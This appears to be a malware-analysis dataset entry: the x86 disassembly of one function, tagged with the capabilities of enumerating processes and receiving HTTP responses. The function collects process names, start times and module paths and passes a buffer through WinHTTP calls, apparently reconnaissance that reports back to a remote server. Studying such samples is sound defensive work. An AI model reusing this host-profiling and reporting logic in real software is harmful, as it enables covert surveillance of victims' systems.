Function at 0x10005ce7
Capabilities:
Enumerate processes
Receive http response

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x16fc
call fcn.10010eb0
mov eax, dword [0x1001c050]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor ebx, ebx
push ebx
xor eax, eax
mov dword [ebp - 0x16e0], ebx
lea edi, [ebp - 0x16dc]
push 2
stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 0x16d4], eax
cmp eax, 0xffffffff
jne 0x10005d59
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x16cc], eax
lea eax, [ebp - 0x16cc]
push eax
push 0x1998
xor ecx, ecx
push 4
inc ecx
pop ebx
call fcn.1000389c
mov esi, eax
neg esi
sbb esi, esi
pop ecx
neg esi
pop ecx
dec esi
jmp 0x100060ef
mov esi, 0x22c
push esi
lea eax, [ebp - 0x16c8]
push ebx
push eax
call fcn.1000f670
add esp, 0xc
lea eax, [ebp - 0x16c8]
push eax
push dword [ebp - 0x16d4]
mov dword [ebp - 0x16c8], esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x10005dbf
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x16cc], eax
lea eax, [ebp - 0x16cc]
push eax
push 0x1998
xor ecx, ecx
push 4
inc ecx
pop ebx
call fcn.1000389c
mov esi, eax
neg esi
sbb esi, esi
pop ecx
neg esi
pop ecx
dec esi
jmp 0x100060e3
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [ebp - 0x16cc], ebx
lea eax, [ebp - 0x16a4]
push eax
mov esi, 0x7ffffffe
mov ebx, 0x104
mov edx, esi
mov eax, ebx
lea ecx, [ebp - 0x210]
call fcn.100024dc
mov eax, dword [ebp - 0x16c0]
mov ecx, dword [ebp - 0x16b0]
push eax
mov dword [ebp - 0x106c], ecx
mov ecx, dword [ebp - 0x16b4]
push 0
push 0x410
mov dword [ebp - 0x1070], eax
mov dword [ebp - 0x1068], ecx
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x16d0], eax
test eax, eax
je 0x10005e56
lea ecx, [ebp - 0x16f0]
push ecx
lea ecx, [ebp - 0x16e8]
push ecx
lea ecx, [ebp - 0x16f8]
push ecx
lea ecx, [ebp - 0x16e0]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessTimes]
push dword [ebp - 0x16d0]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x16e0]
mov dword [ebp - 0x1064], eax
mov eax, dword [ebp - 0x16dc]
mov dword [ebp - 0x1060], eax
lea eax, [ebp - 0x818]
push eax
push dword [ebp - 0x1070]
call fcn.1000580b
pop ecx
pop ecx
mov dword [ebp - 0x105c], eax
push 0x10019d00
mov edx, esi
mov eax, ebx
lea ecx, [ebp - 0x418]
call fcn.100024dc
push dword [ebp - 0x16c0]
push 8
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 0x16d0], eax
cmp eax, 0xffffffff
je 0x10005f10
push 0x424
lea eax, [ebp - 0x1494]
push 0
push eax
call fcn.1000f670
add esp, 0xc
lea eax, [ebp - 0x1498]
push eax
push dword [ebp - 0x16d0]
mov dword [ebp - 0x1498], 0x428
call dword [sym.imp.KERNEL32.dll_Module32FirstW]
test eax, eax
je 0x10005f16
lea eax, [ebp - 0x1278]
push eax
mov edx, esi
mov eax, ebx
lea ecx, [ebp - 0x418]
call fcn.100024dc
push dword [ebp - 0x16d0]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10005f16
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [ebp - 0x210]
push eax
push 0x400
lea ecx, [ebp - 0x1058]
call fcn.100023fc
lea eax, [ebp - 0x210]
push eax
call edi
lea ebx, [ebp + eax*2 - 0x1056]
lea eax, [ebp - 0x818]
push eax
lea eax, [ebp - 0x210]
push eax
call edi
mov ecx, 0x3ff
sub ecx, eax
push ecx
mov ecx, ebx
call fcn.100023fc
lea eax, [ebp - 0x818]
push eax
call edi
lea esi, [ebx + eax*2 + 2]
lea eax, [ebp - 0x210]
push eax
call edi
mov ebx, 0x3fe
sub ebx, eax
lea eax, [ebp - 0x418]
push eax
lea eax, [ebp - 0x818]
push eax
call edi
sub ebx, eax
push ebx
mov ecx, esi
call fcn.100023fc
lea eax, [ebp - 0x418]
push eax
call edi
mov esi, eax
lea eax, [ebp - 0x818]
push eax
call edi
add esi, eax
lea eax, [ebp - 0x210]
push eax
call edi
add eax, esi
lea ebx, [eax + eax + 0x1e]
mov eax, dword [ebp - 0x16cc]
add eax, ebx
mov esi, 0x10000
mov dword [ebp - 0x16d8], ebx
cmp eax, esi
jle 0x10006067
push dword [0x100231b8]
mov ebx, dword [ebp - 0x16cc]
push 0x2018
xor ecx, ecx
call fcn.1000389c
pop ecx
pop ecx
test eax, eax
je 0x10006100
mov eax, dword [0x10022984]
mov ebx, dword [0x100230b4]
push 0
push dword [eax + 0xc]
mov dword [ebp - 0x16d0], eax
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
je 0x10006100
mov eax, dword [ebp - 0x16d0]
push esi
mov esi, ebx
call fcn.1000384d
pop ecx
test eax, eax
je 0x10006100
mov ecx, dword [0x100230b4]
mov eax, 0x1990
cmp word [ecx + 2], ax
jne 0x10006100
and dword [ebp - 0x16cc], 0
push 0x10000
push 0
push dword [0x100231b8]
call fcn.1000f670
mov ebx, dword [ebp - 0x16d8]
add esp, 0xc
push ebx
lea eax, [ebp - 0x1070]
push eax
mov eax, dword [0x100231b8]
add eax, dword [ebp - 0x16cc]
push eax
call fcn.10010500
add dword [ebp - 0x16cc], ebx
mov esi, 0x22c
push esi
lea eax, [ebp - 0x16c8]
push 0
push eax
call fcn.1000f670
add esp, 0x18
lea eax, [ebp - 0x16c8]
push eax
push dword [ebp - 0x16d4]
mov dword [ebp - 0x16c8], esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x10005dcb
push dword [0x100231b8]
mov ebx, dword [ebp - 0x16cc]
xor ecx, ecx
push 0x2018
inc ecx
call fcn.1000389c
pop ecx
pop ecx
test eax, eax
je 0x10006100
mov esi, dword [ebp - 0x16d8]
push dword [ebp - 0x16d4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.10008f62
leave
ret
or esi, 0xffffffff
jmp 0x100060e3